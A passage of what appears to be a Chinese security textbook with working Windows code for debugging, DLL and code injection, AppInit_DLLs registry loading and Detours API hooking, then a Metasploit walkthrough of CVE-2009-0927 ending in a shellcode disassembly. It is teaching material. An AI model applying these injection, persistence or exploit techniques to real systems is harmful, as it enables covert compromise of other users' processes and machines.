TID:%d)\\n\", pde->u.Exception.ExceptionRecord.ExceptionAddress, pde->dwProcessId, pde->dwThreadId); printf(\" %08x: %s\\n\", ctx.Eip, asm_string); printf(\" Reg: EAX=%08x ECX=%08x EDX=%08x EBX=%08x\\n\", ctx.Eax, ctx.Ecx, ctx.Edx, ctx.Ebx); printf(\" ESI=%08x EDI=%08x ESP=%08x EBP=%08x\\n\", ctx.Esi, ctx.Edi, ctx.Esp, ctx.Ebp); SetThreadContext(th, &ctx); CloseHandle(th); CloseHandle(ph); return 0; } int _tmain(int argc, _TCHAR* argv[]) { STARTUPINFO si; PROCESS_INFORMATION pi; if(argc < 2){ fprintf(stderr, \"C:\\\\>%s <sample.exe>\\n\", argv[0]); return 1; } memset(&pi, 0, sizeof(pi)); memset(&si, 0, sizeof(si)); si.cb = sizeof(STARTUPINFO); BOOL r = CreateProcess( NULL, argv[1], NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED | DEBUG_PROCESS, NULL, NULL, &si, &pi); if(!r) return -1; ResumeThread(pi.hThread); int process_counter = 0; do{ DEBUG_EVENT de; if(!WaitForDebugEvent(&de, INFINITE)) break; DWORD dwContinueStatus = DBG_CONTINUE; switch(de.dwDebugEventCode) { case CREATE_PROCESS_DEBUG_EVENT: process_counter++; break; case EXIT_PROCESS_DEBUG_EVENT: process_counter--; break; case EXCEPTION_DEBUG_EVENT: if(de.u.Exception.ExceptionRecord.ExceptionCode != EXCEPTION_BREAKPOINT) { dwContinueStatus = DBG_EXCEPTION_NOT_HANDLED; } exception_debug_event(&de); break; } ContinueDebugEvent( de.dwProcessId, de.dwThreadId, dwContinueStatus); }while(process_counter > 0); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; } disas 函数负责对机器语言进行反汇编，在这里我们使用了 udis86 的功能。"},
    {"text": "在 Windows 中，即便我们的程序不是作为调试器挂载在目标进程上，只要能够获取目标进程的句柄，就可以随意读写该进程的内存空间。 当然，当前用户如果没有相应的权限，调用 OpenProcess 会失败，但只要能够通过其他方法获取进程句柄，也可以自由读写该进程的内存空间。"},
    {"text": "▼ OpenProcess 函数 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320.aspx HANDLE OpenProcess( DWORD dwDesiredAccess, // 访问标志 BOOL bInheritHandle, // 句柄继承选项 DWORD dwProcessId // 进程ID ); 在 exception_debug_event 函数中，为了获取发生异常时所执行的指令，我们需要使用 ReadProcessMemory 函数。 ▼ ReadProcessMemory 函数 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553.aspx BOOL ReadProcessMemory( HANDLE hProcess, // 进程句柄 LPCVOID lpBaseAddress, // 读取起始地址 LPVOID lpBuffer, // 用于存放数据的缓冲区 DWORD nSize, // 要读取的字节数 LPDWORD lpNumberOfBytesRead // 实际读取的字节数 ); ▼ WriteProcessMemory 函数 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674.aspx BOOL WriteProcessMemory( HANDLE hProcess, // 进程句柄 LPVOID lpBaseAddress, // 写入起始地址 LPVOID lpBuffer, // 数据缓冲区 DWORD nSize, // 要写入的字节数 LPDWORD lpNumberOfBytesWritten // 实际写入的字节数 ); 接下来是对寄存器的读写。 用 OpenThread 打开线程之后，可通过 GetThreadContext 和 SetThreadContext 来读写寄存器。"},
    {"text": "▼ OpenThread 函数 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684335.aspx HANDLE OpenThread( DWORD dwDesiredAccess,// 访问标志 BOOL bInheritHandle, // 句柄继承选项 DWORD dwThreadId // 线程ID ); ▼ GetThreadContext 函数 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679362.aspx BOOL GetThreadContext( HANDLE hThread, // 拥有上下文的线程句柄 LPCONTEXT lpContext // 接收上下文的结构体地址 ); ▼ SetThreadContext // https://msdn.microsoft.com/en-us/library/windows/desktop/ms680632.aspx BOOL SetThreadContext( HANDLE hThread, // 拥有上下文的线程句柄 CONST CONTEXT *lpContext // 存放上下文的结构体地址 ); 使用这些 API 函数就可以任意干预其他进程。"},
    {"text": "4.1.4 运行改良版调试器 下面我们来运行一下 wdbg02a.exe（示例文件见 chap04\\wdbg02a\\Release）。 首先，我们准备一个会发生异常的程序（源代码见 chap04\\wdbg02a\\Release\\test.exe），然后将这个程序作为参数来运行 wdbg02a.exe。"},
    {"text": "▼ test.cpp int main(int argc, char *argv[]) { char *s = NULL; *s = 0xFF; return 0; } ▼ 运行示例 C:\\>wdbg02a.exe test.exe Exception: 773a0fab (PID:7008, TID:8068) 773a0fac: 8975fc mov [ebp-0x4], esi Reg: EAX=00000000 ECX=3e400000 EDX=0027e188 EBX=00000000 ESI=fffffffe EDI=00000000 ESP=003efa78 EBP=003efaa4 Exception: 013b1002 (PID:7008, TID:8068) 013b1002: c600ff mov byte [eax], 0xff Reg: EAX=00000000 ECX=71fb4714 EDX=00000000 EBX=00000000 ESI=00000001 EDI=013b36b8 ESP=003efeb8 EBP=003efef8 我们可以看到在 mov byte [eax], 0xff 的地方发生了第 2 个异常，这里对应源代码中的 *s = 0xFF; 这一行。"},
    {"text": "4.2 在其他进程中运行任意代码 ：代码注入 4.2.1 向其他进程注入代码 在其他进程中运行任意代码的手 法，统称为代码注 入（code injection）。 在使用 DLL 的情况下，一般叫作“DLL 注入”，但“在其他进程中运行自己的代码”这一点是共通的。 代码注入和 DLL 注入有很多用途，其中也是有好有坏。 关于 DLL 注入，有一篇著名的文章叫作“Three Ways to Inject Your Code into Another Process”。 Three Ways to Inject Your Code into Another Process http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Process 这篇文章中列举了三种方法，其实现在又出现了一些其他的方法，下面我们来介绍其中的几个。"},
    {"text": "4.2.2 用 SetWindowsHookEx 劫持系统消息 用下面三个 API 函数，我们就可以劫持系统消息。 SetWindowsHookEx CallNextHookEx UnhookWindowsHookEx 这些函数都是 Windows 的官方 API，可以用于单个线程，也可以用于进程。 ▼ SetWindowsHookEx HHOOK SetWindowsHookEx( int idHook, // 钩子类型 HOOKPROC lpfn, // 钩子过程 HINSTANCE hMod, // 应用程序实例的句柄 DWORD dwThreadId // 线程ID ); ▼ CallNextHookEx LRESULT CallNextHookEx( HHOOK hhk, // 当前钩子的句柄 int nCode, // 传递给钩子过程的代码 WPARAM wParam, // 传递给钩子过程的值 LPARAM lParam // 传递给钩子过程的值 ); ▼ UnhookWindowsHookEx BOOL UnhookWindowsHookEx( HHOOK hhk // 要解除的对象的钩子过程句柄 ); 下面我们来试一下 SetWindowsHookEx（源代码见chap04\\writeappinit\\loging）。 ▼ loging.h #ifdef LOGING_EXPORTS #define LOGING_API extern \"C\" __declspec(dllexport) #else #define LOGING_API extern \"C\" __declspec(dllimport) #endif LOGING_API int CallSetWindowsHookEx(VOID); LOGING_API int CallUnhookWindowsHookEx(VOID); ▼ loging.cpp #include \"stdafx.h\" #include \"loging.h\" HHOOK g_hhook = NULL; static LRESULT WINAPI GetMsgProc(int code, WPARAM wParam, LPARAM lParam) { return(CallNextHookEx(NULL, code, wParam, lParam)); } LOGING_API int CallSetWindowsHookEx(VOID) { if(g_hhook != NULL) return -1; MEMORY_BASIC_INFORMATION mbi; if(VirtualQuery(CallSetWindowsHookEx, &mbi, sizeof(mbi)) == 0) return -1; HMODULE hModule = (HMODULE) mbi.AllocationBase; g_hhook = SetWindowsHookEx( WH_GETMESSAGE, GetMsgProc, hModule, 0); if(g_hhook == NULL) return -1; return 0; } LOGING_API int CallUnhookWindowsHookEx(VOID) { if(g_hhook == NULL) return -1; UnhookWindowsHookEx(g_hhook); g_hhook = NULL; return 0; } SetWindowsHookEx 的功能是将原本传递给窗口过程的消息劫持下来，交给第 2 参数中所指定的函数来进行处理。 loging.cpp 中，我们将 GetMsgProc 设为钩子过程，因此系统消息在传递给目标线程原有的窗口过程之前，会先由 GetMsgProc 来进行处理。 GetMsgProc 中调用了 CallNextHookEx 函数，这时消息会继续传递给下一个钩子过程。"},
    {"text": "参照下面的代码，我们可以将 loging.cpp 编译成 DLL（源代码见 chap04\\writeappinit\\loging），然后调用 SetWindowsHookEx，将其第 4 参数（dwThreadId）设为 0。"},
    {"text": "▼ dllmain.cpp #include \"stdafx.h\" int WriteLog(TCHAR *szData) { TCHAR szTempPath[1024]; GetTempPath(sizeof(szTempPath), szTempPath); lstrcat(szTempPath, \"loging.log\"); TCHAR szModuleName[1024]; GetModuleFileName(GetModuleHandle(NULL), szModuleName, sizeof(szModuleName)); TCHAR szHead[1024]; wsprintf(szHead, \"[PID:%d][Module:%s] \", GetCurrentProcessId(), szModuleName); HANDLE hFile = CreateFile( szTempPath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) return -1; SetFilePointer(hFile, 0, NULL, FILE_END); DWORD dwWriteSize; WriteFile(hFile, szHead, lstrlen(szHead), &dwWriteSize, NULL); WriteFile(hFile, szData, lstrlen(szData), &dwWriteSize, NULL); CloseHandle(hFile); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WriteLog(\"DLL_PROCESS_ATTACH\\n\"); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: WriteLog(\"DLL_PROCESS_DETACH\\n\"); break; } return TRUE; } 下面我们向 dllmain.cpp 中添加一些代码，使得在 DLL 成功加载之后，向 %TEMP% 目录输出一个名为 loging.log 的日志文件。"},
    {"text": "将 dllmain.cpp、loging.cpp 和 loging.h 进行编译，然后我们编写另一个程序，加载这个 DLL 并调用 CallSetWindowsHookEx（源代码见 chap04\\writeappinit\\setwindowshook）。 ▼ setwindowshook.cpp #include \"stdafx.h\" #include <Windows.h> int _tmain(int argc, _TCHAR* argv[]) { if(argc < 2){ fprintf(stderr, \"%s <DLL Name>\\n\", argv[0]); return 1; } HMODULE h = LoadLibrary(argv[1]); if(h == NULL) return -1; int (__stdcall *fcall) (VOID); fcall = (int (WINAPI *)(VOID)) GetProcAddress(h, \"CallSetWindowsHookEx\"); if(fcall == NULL){ fprintf(stderr, \"ERROR: GetProcAddress\\n\"); goto _Exit; } int (__stdcall *ffree) (VOID); ffree = (int (WINAPI *)(VOID)) GetProcAddress(h, \"CallUnhookWindowsHookEx\"); if(ffree == NULL){ fprintf(stderr, \"ERROR: GetProcAddress\\n\"); goto _Exit; } if(fcall()){ fprintf(stderr, \"ERROR: CallSetWindowsHookEx\\n\"); goto _Exit; } printf(\"Call SetWindowsHookEx\\n\"); getchar(); if(ffree()){ fprintf(stderr, \"ERROR: CallUnhookWindowsHookEx\\n\"); goto _Exit; } printf(\"Call UnhookWindowsHookEx\\n\"); _Exit: FreeLibrary(h); return 0; } ▼ 运行示例 C:\\>setwindowshook.exe loging.dll Call SetWindowsHookEx ▲ 运行结果 打开 C:\\Documents and Settings\\Campers\\Local Settings\\Temp\\loging.log 文件，我们可以查看加载 DLL 的日志（Windows Vista 及以上版本的系统中，这个文件位于 C:\\Users\\ 用户名 \\AppData\\Local\\Temp\\loging.log）。"},
    {"text": "4.2.3 将 DLL 路径配置到注册表的 AppInit_DLLs 项 SetWindowsHookEx 可以在调用时将 DLL 映射到其他进程中，不过如果我们将 DLL 的路径配置在注册表的 AppInit_DLLs 项中，就可以在系统启动时将任意 DLL 加载到其他进程中。"},
    {"text": "运行 regedit，找到下面的路径。 HKEY_LOCAL_MACHINE\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ Windows\\ AppInit_DLLs 在这里填写DLL路径，以逗号分隔 LoadAppInit_DLLs AppInit_DLLs启用/禁用标志 Windows XP 中没有 LoadAppInit_DLLs 这一项。"},
    {"text": "关于 AppInit_DLLs 的详细信息请参见 MSDN 的相关网页。 AppInit_DLLs in Windows 7 and Windows Server 2008 R2 https://msdn.microsoft.com/en-us/library/dd744762.aspx 在 64 位系统 中，关于 32 位程序的相关设定已被重定向到 Wow6432Node 中。 HKEY_LOCAL_MACHINE\\ SOFTWARE\\ Wow6432Node\\ Microsoft\\ Windows NT\\ C urrentVersion\\ Windows\\ AppInit_DLLs 在这里填写DLL路径，以逗号分隔 LoadAppInit_DLLs AppInit_DLLs启用/禁用标志 AppInit_DLLs 中所配置的 DLL 是通过 user32.dll 来加载的，因此，对于原本就不依赖（不加载）user32.dll 的进程来说，这一配置是无效的（源代码见 chap04\\writeappinit\\writeappinit）。 ▼ writeappinit.cpp #include \"stdafx.h\" #include <Windows.h> int _tmain(int argc, _TCHAR* argv[]) { if(argc < 2){ fprintf(stderr, \"%s <DLL Name>\\n\", argv[0]); return 1; } HKEY hKey; LSTATUS lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\", NULL, KEY_ALL_ACCESS, &hKey); if(lResult != ERROR_SUCCESS){ printf(\"Error: RegOpenKeyEx failed.\\n\"); return -1; } DWORD dwSize, dwType; TCHAR szDllName[256]; RegQueryValueEx(hKey, \"AppInit_DLLs\", NULL, &dwType, NULL, &dwSize); RegQueryValueEx(hKey, \"AppInit_DLLs\", NULL, &dwType, (LPBYTE)szDllName, &dwSize); printf(\"AppInit_DLLs: %s -> \", szDllName); lstrcpy(szDllName, argv[1]); lResult = RegSetValueEx(hKey, \"AppInit_DLLs\", 0, REG_SZ, (PBYTE)szDllName, lstrlen(szDllName) + 1); if(lResult != ERROR_SUCCESS){ printf(\"Error: RegSetValueEx failed.\\n\"); } RegQueryValueEx(hKey, \"AppInit_DLLs\", NULL, &dwType, NULL, &dwSize); RegQueryValueEx(hKey, \"AppInit_DLLs\", NULL, &dwType, (LPBYTE)szDllName, &dwSize); printf(\"%s\\n\", szDllName); RegCloseKey(hKey); return 0; } ▼ 运行示例 C:\\>writeappinit.exe \"C:\\\\loging.dll\" AppInit_DLLs: -> C:\\\\loging.dll ▲ 用调试器打开任意一个程序，查看模块列表 writeappinit.cpp 可以向注册表的 AppInit_DLLs 项写入任意值，因此我们可以指定 loging.dll 的路径并运行这个程序。 在 Windows 7 中，可能需要将 LoadAppInit_DLLs 的值改为“1”，请大家用 regedit 确认一下系统当前的设置。"},
    {"text": "从此以后，凡是加载了 user32.dll 的进程，同时也会加载 loging.dll。 我们可以测试一下，用 OllyDbg 打开 Stirling.exe，查看一下模块列表，其中果然有 loging.dll。"},
    {"text": "4.2.4 通 过 CreateRemoteThread 在其他进程中创建线程 我们可以用 CreateRemoteThread 这个 API 函数在其他进程中创建线程，这个函数可以在新线程中运行 LoadLibrary，从而使得其他进程强制加载某个 DLL。 HANDLE CreateRemoteThread( HANDLE hProcess, // 进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, // 栈初始长度（字节数） LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, // 新线程的参数指针 DWORD dwCreationFlags, // 创建标志 LPDWORD lpThreadId // 分配的线程ID指针 ); 不过，这里有一个问题，那就是 LoadLibrary 的参数必须位于目标进程内部，因此，LoadLibrary 所需要的参数字符串必须事先写入目标进程的内存空间中（源代码见 chap04\\dllinjection\\dllinjection）。"},
    {"text": "▼ injectcode.h int InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath); int InjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath); int InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath); 上面三个函数的功能如下。 InjectDLLtoProcessFromName 按照可执行文件名找到相应的进程并注入 DLL InjectDLLtoProcessFromPid 按照进程 ID 找到相应的进程并注入 DLL InjectDLLtoNewProcess 创建新进程并注入 DLL ▼ dllinjection.cpp #include \"stdafx.h\" #include <tlhelp32.h> #include \"dllinjection.h\" DWORD GetProcessIdFromName(TCHAR *szTargetProcessName) { HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnap == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); DWORD dwProcessId = 0; BOOL bResult = Process32First(hSnap, &pe); while(bResult){ if(!lstrcmp(pe.szExeFile, szTargetProcessName)){ dwProcessId = pe.th32ProcessID; break; } bResult = Process32Next(hSnap, &pe); } CloseHandle(hSnap); return dwProcessId; } int InjectDLL(HANDLE hProcess, TCHAR *szDllPath) { int szDllPathLen = lstrlen(szDllPath) + 1; PWSTR RemoteProcessMemory = (PWSTR)VirtualAllocEx(hProcess, NULL, szDllPathLen, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); if(RemoteProcessMemory == NULL) return -1; BOOL bRet = WriteProcessMemory(hProcess, RemoteProcessMemory, (PVOID)szDllPath, szDllPathLen, NULL); if(bRet == FALSE) return -1; PTHREAD_START_ROUTINE pfnThreadRtn; pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandle(\"kernel32\"), \"LoadLibraryA\"); if(pfnThreadRtn == NULL) return -1; HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, RemoteProcessMemory, 0, NULL); if(hThread == NULL) return -1; WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, RemoteProcessMemory, szDllPathLen, MEM_RELEASE); CloseHandle(hThread); return 0; } int InjectDLLtoExistedProcess(DWORD dwPid, TCHAR *szDllPath) { HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION , FALSE, dwPid); if(hProcess == NULL) return -1; /* BOOL bJudgeWow64; IsWow64Process(hProcess, &bJudgeWow64); if(bJudgeWow64 == FALSE){ CloseHandle(hProcess); return -1; } */ if(InjectDLL(hProcess, szDllPath)) return -1; CloseHandle(hProcess); return 0; } int InjectDLLtoProcessFromName(TCHAR *szTarget, TCHAR *szDllPath) { DWORD dwPid = GetProcessIdFromName(szTarget); if(dwPid == 0) return -1; if(InjectDLLtoExistedProcess(dwPid, szDllPath)) return -1; return 0; } int InjectDLLtoProcessFromPid(DWORD dwPid, TCHAR *szDllPath) { if(InjectDLLtoExistedProcess(dwPid, szDllPath)) return -1; return 0; } int InjectDLLtoNewProcess(TCHAR *szCommandLine, TCHAR *szDllPath) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); BOOL bResult = CreateProcess(NULL, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); if(bResult == FALSE) return -1; int nRet = -1; /* BOOL bJudgeWow64; IsWow64Process(pi.hProcess, &bJudgeWow64); if(bJudgeWow64 == FALSE) goto _Exit; */ if(InjectDLL(pi.hProcess, szDllPath)) goto _Exit; nRet = 0; _Exit: ResumeThread(pi.hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return nRet; ▼ 运行示例 C:\\>dllinjection.exe Name iexplore.exe \"C:\\\\sampledll.dll\" ▲ 在 iexplore.exe 中加载 C:\\sampledll.dll（sampledll.dll 只是显示一条对话框消息） 请大家在启动 Internet Explorer（以下简称 IE）32 位版本的状态下，输入上面的命令并运行。"},
    {"text": "▼ codeinjection.cpp #include \"stdafx.h\" #include <windows.h> typedef HWND (WINAPI *GETFORGROUNDWINDOW)(void); typedef int (WINAPI *MSGBOX)(HWND, PCTSTR, PCTSTR, UINT); typedef struct _injectdata { TCHAR szTitle[32]; TCHAR szMessage[32]; HANDLE hProcess; PDWORD pdwCodeRemote; PDWORD pdwDataRemote; MSGBOX fnMessageBox; GETFORGROUNDWINDOW fnGetForegroundWindow; } INJECTDATA, *PINJECTDATA; static DWORD WINAPI func(PINJECTDATA myAPI) { myAPI->fnMessageBox((HWND)myAPI->fnGetForegroundWindow(), myAPI->szMessage, myAPI->szTitle, MB_OK); /* if(myAPI->pCodeRemote != NULL) VirtualFreeEx(myAPI->hProcess, myAPI->pCodeRemote, 0, MEM_RELEASE); if(myAPI->pDataRemote != NULL) VirtualFreeEx(myAPI->hProcess, myAPI->pDataRemote, 0, MEM_RELEASE); */ return 0; } int _tmain(int argc, _TCHAR* argv[]) { HMODULE h = LoadLibrary(\"user32.dll\"); if(h == NULL){ printf(\"ERR: LoadLibrary\\n\"); return -1; } INJECTDATA id; id.fnGetForegroundWindow = (GETFORGROUNDWINDOW) GetProcAddress( GetModuleHandle(\"user32\"), \"GetForegroundWindow\"); id.fnMessageBox = (MSGBOX) GetProcAddress( GetModuleHandle(\"user32\"), \"MessageBoxA\"); lstrcpy(id.szTitle, \"Message\"); lstrcpy(id.szMessage, \"Hello World!\"); HWND hTarget = FindWindow(\"IEFrame\", NULL); if(hTarget == NULL){ printf(\"ERR: FindWindow\\n\"); goto _END1; } DWORD dwPID; // PID of iexplore.exe GetWindowThreadProcessId(hTarget, (DWORD *)&dwPID); id.hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwPID); if(id.hProcess == NULL){ printf(\"ERR: OpenProcess\\n\"); goto _END1; } DWORD dwLen; if((id.pdwCodeRemote = (PDWORD)VirtualAllocEx(id.hProcess, 0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL) { printf(\"ERR: VirtualAllocEx(pdwCodeRemote)\\n\"); goto _END2; } if((id.pdwDataRemote = (PDWORD)VirtualAllocEx(id.hProcess, 0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL) { printf(\"ERR: VirtualAllocEx(pdwDataRemote)\\n\"); goto _END3; } WriteProcessMemory(id.hProcess, id.pdwCodeRemote, &func, 4096, &dwLen); WriteProcessMemory(id.hProcess, id.pdwDataRemote, &id, sizeof(INJECTDATA), &dwLen); HANDLE hThread = CreateRemoteThread(id.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)id.pdwCodeRemote, id.pdwDataRemote, 0, &dwLen); if(hThread == NULL){ printf(\"ERR: CreateRemoteThread\\n\"); goto _END4; } WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread, (PDWORD)&dwPID); CloseHandle(hThread); _END4: VirtualFreeEx(id.hProcess, id.pdwDataRemote, 0, MEM_RELEASE); _END3: VirtualFreeEx(id.hProcess, id.pdwCodeRemote, 0, MEM_RELEASE); _END2: CloseHandle(id.hProcess); _END1: FreeLibrary(h); return 0; } ▼ 运行示例 C:\\>codeinjection.exe ▲ 向 iexplore.exe 注入 func 函数并运行 当我们在启动 IE（32 位版本）的状态下运行 codeinjection.exe 时，就会将 func 函数注入到 IE 中并运行它。"},
    {"text": "在 Windows 中，只要拥有足够的权限，就可以随意访问其他进程的内存空间，因此我们基本上可以自由地向其他进程注入代码，而且即便我们的程序不是调试器，也可以比较容易地骗过其他的进程。"},
    {"text": "4.3 任意替换程序逻辑 ：API 钩子 4.3.1 API 钩子的两种类型 刚才我们介绍过，在程序中插入额外的逻辑称为“钩子”，而其中对 API 插入额外逻辑称为“API 钩子”。"},
    {"text": "Advanced Windows http://www.amazon.com/dp/1572315482 4.3.2 用 Detours 实现一个简单的 API 钩子 下面我们用微软研究院发布的一个叫作 Detours 的 API 钩子库来尝试实现一个简单的 API 钩子。 Detours http://research.microsoft.com/en-us/projects/detours/ 从零编写一个 API 钩子需要大量的代码，但使用 Detours 库我们用几十行就可以实现一个 API 钩子。"},
    {"text": "▼ detourshook.h #ifdef DETOURSHOOK_EXPORTS #define DETOURSHOOK_API __declspec(dllexport) #else #define DETOURSHOOK_API __declspec(dllimport) #endif DETOURSHOOK_API int WINAPI HookedMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); ▼ dllmain.cpp #include \"stdafx.h\" #include \"detours.h\" #include \"detourshook.h\" static int (WINAPI * TrueMessageBoxA)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) = MessageBoxA; DETOURSHOOK_API int WINAPI HookedMessageBoxA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { int nRet = TrueMessageBoxA(hWnd, lpText, \"Hooked Message\", uType); return nRet; } int DllProcessAttach(VOID) { DetourRestoreAfterWith(); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)TrueMessageBoxA, HookedMessageBoxA); if(DetourTransactionCommit() != NO_ERROR) return -1; return 0; } int DllProcessDetach(VOID) { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)TrueMessageBoxA, HookedMessageBoxA); DetourTransactionCommit(); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DllProcessAttach(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: DllProcessDetach(); break; } return TRUE; } 上面的代码可以将 user32.dll 导出的函数 MessageBoxA 替换成 HookedMessageBoxA。"},
    {"text": "detours.cpp detours.h disasm.cpp modules.cpp detver.h 当 DllMain 收到 DLL_PROCESS_ATTACH 消息时，会调用 DllProcessAttach() 函数，也就是说，当 DLL 被加载到进程中时，API 钩子就开始生效了。 DllProcessAttach 用于挂载钩子，DllProcessDetach 用于解除钩子。 在函数内部，会先调用 DetourTransactionBegin 和 DetourUpdateThread，然后再用 DetourAttach 或者 DetourDetach 来挂载或解除钩子。"},
    {"text": "4.3.3 修改消息框的标题栏 HookedMessageBoxA 函数的内部会调用 TrueMessageBoxA，也就是原始的 MessageBoxA 函数。 为了确认 HookedMessageBoxA 确实被调用过，我们可以将消息框的标题栏改为“Hooked Message”。"},
    {"text": "▼ helloworld.cpp #include \"stdafx.h\" #include <Windows.h> int _tmain(int argc, _TCHAR* argv[]) { HMODULE h = LoadLibrary(\"detourshook.dll\"); MessageBoxA(GetForegroundWindow(), \"Hello World! using MessageBoxA\", \"Message\", MB_OK); FreeLibrary(h); return 0; } ▼ 运行示例 C:\\>helloworld.exe ▲ 标题栏从“Message”变成了“Hooked Message” 根据环境和对象文件的不同，API 钩子也有各种各样的实现方法，Detours 是用一种非常简单的方法来实现的，详情可参见下面的文献。 Detours: Binary Interception of Win32 Functions http://research.microsoft.com/pubs/68568/huntusenixnt99.pdf 钩子的原理是将函数开头的几个字节替换成 jmp 指令，强制跳转到另一个函数。 大家可以用 OllyDbg 打开挂载了钩子的进程，看一下 MessageBoxA 函数的运行过程，应该会更容易理解钩子的原理。"},
    {"text": "上面讲到的 API 钩子基本上只适用于运行在用户领域的 DLL 所导出的函数，但我们也可以通过劫持非公开的 API 等方式，对运行在内核领域（Ring0）的驱动程序挂载钩子。"},
    {"text": "DLL 注入技术也被广泛用于各种产品中，例如微软自家的安全软件 EMET（下一章中介绍）也可以向其他进程加载 DLL，只不过方法有些区别而已。 DLL 注入和 API 钩子都是属于计算机安全方面的技术，但它们的实际应用范围要广阔得多。"},
    {"text": "Metasploit https://www.rapid7.com/products/metasploit/ Metasploit 是负责调查软件漏洞的安全工程师们的必备工具，市面上也出版了一些专门介绍其使用方法的图书。"},
    {"text": "Search the CVE Web Site http://cve.mitre.org/find/index.html 其中每一条漏洞都被编 号，格式如 CVE-XXXX-YYYY（其中 XXXX 为年份，YYYY 为序号）。 根据漏洞编号，我们可以从 CVE 的网站上搜索到以下信息。"},
    {"text": "对漏洞的描述 漏洞所影响的软件 漏洞所影响的版本 只要我们知道了发生漏洞的软件、操作系统以及它们的版本，就可以搭建一个相同的环境，对漏洞进行验证和调查。"},
    {"text": "大部分主流软件在网站上都能找到历史版本，因此我们可以利用这一点获取指定版本的软件。 这几年 Adobe 和 Java 的漏洞挺多的，不过我们还是可以从网站上获取到历史版本的软件。"},
    {"text": "Adobe Archive ftp://ftp.adobe.com/pub/adobe/reader/win/ Oracle Java Archive http://www.oracle.com/technetwork/java/archive-139210.html 当我们准备好环境之后，就可以用 Metasploit 来攻击这个漏洞了。 5.1.4 利用漏洞进行攻击 Metasploit 有很多功能，要想完全掌握不容易，但尝试一些简单的攻击还是不难的。"},
    {"text": "Metasploit Auxiliary Module & Exploit Database (DB) http://www.rapid7.com/db/modules/ Adobe Collab.getIcon() Buffer Overflow http://www.rapid7.com/db/vulnerabilities/suse-cve-2009-0927 下面我们用 CVE-2009-0927 来尝试一下。"},
    {"text": "▲ 使用 msfpayload 生成 Windows 环境下运行的 shellcode ▼ x.bin seg000:00000000 cld seg000:00000001 call loc_8F seg000:00000006 pusha seg000:00000007 mov ebp, esp seg000:00000009 xor edx, edx seg000:0000000B mov edx, fs:[edx+30h] seg000:0000000F mov edx, [edx+0Ch] seg000:00000012 mov edx, [edx+14h] seg000:00000015 seg000:00000015 loc_15: seg000:00000015 mov esi, [edx+28h] seg000:00000018 movzx ecx, word ptr [edx+26h] seg000:0000001C xor edi, edi seg000:0000001E seg000:0000001E loc_1E: seg000:0000001E xor eax, eax seg000:00000020 lodsb seg000:00000021 cmp al, 61h ; 'a' seg000:00000023 jl short loc_27 seg000:00000025 sub al, 20h ; ' ' seg000:00000027 seg000:00000027 loc_27: seg000:00000027 ror edi, 0Dh seg000:0000002A add edi, eax seg000:0000002C loop loc_1E seg000:0000002E push edx seg000:0000002F push edi seg000:00000030 mov edx, [edx+10h] seg000:00000033 mov eax, [edx+3Ch] seg000:00000036 add eax, edx seg000:00000038 mov eax, [eax+78h] seg000:0000003B test eax, eax seg000:0000003D jz short loc_89 seg000:0000003F add eax, edx seg000:00000041 push eax seg000:00000042 mov ecx, [eax+18h] seg000:00000045 mov ebx, 